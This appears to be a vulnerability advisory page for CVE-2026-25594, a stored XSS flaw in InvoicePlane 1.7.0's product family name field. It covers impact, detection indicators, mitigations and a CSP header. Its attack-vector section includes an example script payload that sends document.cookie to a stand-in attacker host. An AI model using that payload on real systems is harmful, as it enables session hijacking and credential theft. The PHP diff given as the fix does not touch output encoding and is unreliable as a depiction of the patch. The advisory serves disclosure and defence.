CVE-2026-25594: InvoicePlane Stored XSS Vulnerability

CVE-2026-25594 Overview

A Stored Cross-Site Scripting (XSS) vulnerability exists in InvoicePlane 1.7.0, a self-hosted open source application for managing invoices, clients, and payments. The vulnerability is located in the Family Name field where the family_name value is rendered without proper HTML encoding inside the family dropdown on the product form. When an administrator creates a family with a malicious name, the payload executes in the browser of any administrator who visits the product form.

Critical Impact
Attackers with administrative privileges can inject malicious JavaScript that executes in the browsers of other administrators, potentially leading to session hijacking, credential theft, or unauthorized actions within the InvoicePlane application.

Affected Products

InvoicePlane version 1.7.0

Discovery Timeline

2026-02-18 - CVE-2026-25594 published to NVD
2026-02-19 - Last updated in NVD database

Technical Details for CVE-2026-25594

Vulnerability Analysis

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), commonly known as Cross-Site Scripting. The Stored XSS variant is particularly dangerous because the malicious payload is permanently stored in the application's database and executes every time the affected page is rendered.

The attack requires high privileges (administrator access) to inject the payload, but the impact extends beyond the initial scope since the malicious script can affect other administrator sessions. This cross-scope impact makes the vulnerability more severe, as compromised administrator accounts could lead to full application takeover.

Root Cause

The root cause of this vulnerability is improper output encoding in the InvoicePlane application. When the family_name field is rendered in the family dropdown on the product form, the application fails to apply HTML entity encoding to user-supplied input. This allows special characters like <, >, and " to be interpreted as HTML/JavaScript code rather than plain text, enabling script injection.

Attack Vector

The attack is network-based and requires an authenticated administrator to inject a malicious payload into the Family Name field. The attack sequence involves:

An attacker with administrative access creates a new product family
The attacker enters a malicious JavaScript payload as the family name (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>)
The payload is stored in the database without sanitization
When any administrator visits the product form, the family dropdown renders the malicious family name
The injected JavaScript executes in the victim administrator's browser context

php

 
     public function run($config = null, &$data = null)
     {
-        if (is_object($config)) {
-            $this->CI = &$config;
-        }
+        (is_object($config)) && $this->CI = &$config;
 
         return parent::run($data);
     }

Source: GitHub Commit Update

Detection Methods for CVE-2026-25594

Indicators of Compromise

Presence of HTML tags or JavaScript code in database fields for product family names
Unusual or suspicious strings containing <script>, onerror=, onclick=, or similar event handlers in family name entries
Browser console errors or unexpected JavaScript execution when accessing the product form
Outbound network connections to unknown external domains from administrator browsers

Detection Strategies

Implement database auditing to monitor for suspicious insertions containing HTML/JavaScript in the family_name column
Deploy Web Application Firewall (WAF) rules to detect XSS payloads in form submissions
Enable Content Security Policy (CSP) headers to restrict inline script execution and report violations
Review application logs for unusual patterns in family name creation requests

Monitoring Recommendations

Configure browser-based security monitoring to detect unexpected script execution
Set up alerts for CSP violation reports that may indicate XSS exploitation attempts
Monitor administrator account activity for unusual behavior that may indicate session compromise
Implement logging for all administrative actions including family creation and modification

How to Mitigate CVE-2026-25594

Immediate Actions Required

Upgrade InvoicePlane to version 1.7.1 or later immediately
Audit existing product family entries in the database for malicious payloads
Remove any entries containing suspicious HTML or JavaScript code
Review administrator session logs for signs of compromise
Reset administrator credentials if exploitation is suspected

Patch Information

The vulnerability has been patched in InvoicePlane version 1.7.1. The fix implements proper HTML encoding for the family_name field before rendering it in the dropdown menu. Users should upgrade to version 1.7.1 or later to remediate this vulnerability.

For detailed patch information, refer to the GitHub Security Advisory and the security commit.

Workarounds

Restrict administrative access to trusted users only until the patch can be applied
Implement additional input validation at the web server or WAF level to block XSS payloads
Enable strict Content Security Policy headers to mitigate the impact of any successful XSS injection
Consider disabling the product family feature temporarily if immediate patching is not possible

bash

# Example CSP header configuration for Apache (.htaccess)
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';"